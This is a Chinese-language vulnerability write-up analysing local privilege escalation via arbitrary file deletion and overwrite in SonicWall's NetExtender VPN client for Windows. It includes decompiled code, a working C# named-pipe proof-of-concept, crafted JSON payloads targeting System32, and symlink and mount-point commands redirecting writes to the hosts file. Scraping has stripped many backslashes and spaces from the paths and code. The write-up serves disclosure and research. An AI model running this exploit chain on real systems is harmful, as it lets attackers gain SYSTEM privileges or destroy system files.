在网络安全的世界里,每一次漏洞的发现都是一场与时间赛跑的较量。在近期一次基于主机的渗透测试中,网络安全公司NetSPI于广受欢迎的企业级VPN客户端——适用于Windows系统的SonicWall NetExtender中,发现了多个可导致任意系统文件删除的漏洞。在本篇文章里,我们将详述这些漏洞的发现过程,以及如何利用它们实现本地权限提升。
-
NetSPI发现,NetExtender存在多个可被利用来进行权限提升的任意系统文件删除漏洞,这些漏洞已被追踪编号为CVE-2025-23009。 -
NetSPI发现了一个可被用于实施拒绝服务攻击的任意系统文件覆盖漏洞,其追踪编号为CVE-2025-23010。 -
SonicWall已在适用于Windows系统的NetExtender最新版本(10.3.2)中修复了这些漏洞。
-
该漏洞是NetExtender服务(NEService.exe)存在的任意系统文件读取漏洞。 -
漏洞与“Log Export”功能相关。 -
漏洞可通过命名管道(Named Pipe)触发,无需与NetExtender用户界面(UI)进行交互。
.CreateMountPoint.exe C:ProgramDataSonicWallNetExtender C:WindowsSystem32driversetc
privatevoidexportLogsButton_ccMouseUpEvent(object sender, EventArgs e) { NETraceLogs.Write(NETraceLogs.LogLevel.Debug, NETraceLogs.FormType.NELogs, "Export logs button clicked"); DateTime now = DateTime.Now; string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\Downloads\NetExtender-" + now.ToString("yyyyMMddHHmmss"); this.m_vpnMsgHandler.GenerateExportLogsMsg(path, NECommonUtil.GUI_DEBUG_PATH_STR).SendVpnMessage(3000); this.exportLogsButton.buttonEvent = false; this.exportLogsButton.buttonText = Localization.Exporting; this.m_folderPath = Path.GetDirectoryName(path); this.isExportingLog = true; MainForm.ShowPendingBar(); }
public VpnMessage GenerateExportLogsMsg(string path, string guiLog) { JObject jobject = new JObject(); jobject.Add("path", path); jobject.Add("guiLog", guiLog); returnnew VpnMessage(this.FormatJsonData(MessageCallBackData.MessageTypeToString[MessageCallBackData.MessageType.exportLogs], jobject), MessageCallBackData.MessageType.exportLogs); }
publicstringFormatJsonData(string action, JObject data = null) { JObject jobject = new JObject(); jobject.Add("action", action); jobject.Add("source", Pipe.GetPipeName()); if (data != null) { jobject.Add("data", data); } return jobject.ToString(); }
{ "action": "exportLogs", "source": "\\.\pipe\NEPipeStClient", "data": { "path": "C:\users\lowpriv\DownloadsNetExtender-20250403154755", "guiLog": "" } }
publicstaticstring DEF_LIST_VPN_PIPE_NAME = "NEPipeStClient";publicstaticstring DEF_SEND_VPN_PIPE_NAME = "NEPipeSMAVpnPipe";
publicboolSendVpnMessage(int timeout = 3000) { return MessageHandler.Instance.SendJsonStr(this.m_jsonData, this.m_type, timeout); }
publicboolSendJsonStr(string JSON, MessageCallBackData.MessageType msgType, int timeout) { MessageHandler.m_sendMessageMutex.WaitOne(); bool result = Pipe.VpnSendMessageOnPipe(JSON, msgType, timeout); MessageHandler.m_sendMessageMutex.ReleaseMutex(); return result; }
publicstaticboolVpnSendMessageOnPipe(string JSONStr, MessageCallBackData.MessageType msgType, int timeout) { bool result = false; try { NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", Pipe.DEF_SEND_VPN_PIPE_NAME, PipeDirection.Out); namedPipeClientStream.Connect(timeout); using(StreamWriter streamWriter = new StreamWriter(namedPipeClientStream, Encoding.Default, 4096)) { streamWriter.AutoFlush = true; streamWriter.Write(JSONStr); } namedPipeClientStream.Close(); if (msgType != MessageCallBackData.MessageType.queryStatus && msgType != MessageCallBackData.MessageType.queryLogs) { Pipe.m_lastMsgType = msgType; NETraceLogs.Write(NETraceLogs.LogLevel.Debug, NETraceLogs.FormType.NEUnknown, string.Format("SendMsg:{0}", Pipe.m_lastMsgType.ToString())); } result = true; } catch (Exception ex) { Console.WriteLine("Failed to write to the VPN Service pipe: " + ex.ToString()); } return result; }
using System; using System.IO; using System.IO.Pipes; using Newtonsoft.Json.Linq; using Newtonsoft.Json; using System.Text; classProgram{ staticvoidMain(string[] args) { string action = "exportLogs"; string source = "\\.\pipe\NEPipeStClient"; string path = "C:\users\lowpriv\Downloads\foo"; string guiLog = ""; JObject dataObject = new JObject { { "path", path }, { "guiLog", guiLog } }; JObject finalJson = new JObject { { "action", action }, { "source", source }, { "data", dataObject } }; string jsonString = finalJson.ToString(Formatting.Indented); Console.WriteLine("[*] Attempting to exportLogs via NEPipeSMAVpnPipe."); Console.WriteLine("[*] Sending JSON: "); Console.WriteLine(jsonString); if (SendPayloadToVPNPipe(finalJson.ToString(Formatting.None), 3000)) { Console.WriteLine("[+] Successfully called exportLogs via NEPipeSMAVpnPipe."); } else { Console.WriteLine("[!] Failed to call exportLogs via NEPipeSMAVpnPipe."); } } publicstaticboolSendPayloadToVPNPipe(string JSONStr, int timeout) { bool result = false; try { NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", "NEPipeSMAVpnPipe", PipeDirection.Out); namedPipeClientStream.Connect(timeout); using (StreamWriter streamWriter = new StreamWriter(namedPipeClientStream, Encoding.Default, 4096)) { streamWriter.AutoFlush = true; streamWriter.Write(JSONStr); } namedPipeClientStream.Close(); result = true; } catch (Exception ex) { Console.WriteLine("Failed to write to the VPN Service pipe: " + ex.ToString()); } return result; } }
{ "action": "saveCapturedPacket", "source": "\\.\pipe\NEPipeStClient", "data": { "path": "C:\Windows\System32\config\hello.txt" } }
CreateSymlink.exe C:ProgramDataSonicWallNxCredentialProviderprelogon.v2.disabled C:windowsSystem32driversetchosts Opened Link RPC Controlprelogon.v2.disabled -> ??C:windowsSystem32driversetchosts: 00000140 Press ENTER to exit and delete the symlink
-
通过clearCapturedPacket操作实现权限提升
-
通过saveCapturedPacket操作实现权限提升
-
通过saveProperties操作实现权限提升
原文始发于微信公众号(山石网科安全技术研究院):企业级VPN NetExtender任意文件删除到权限提升漏洞剖析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论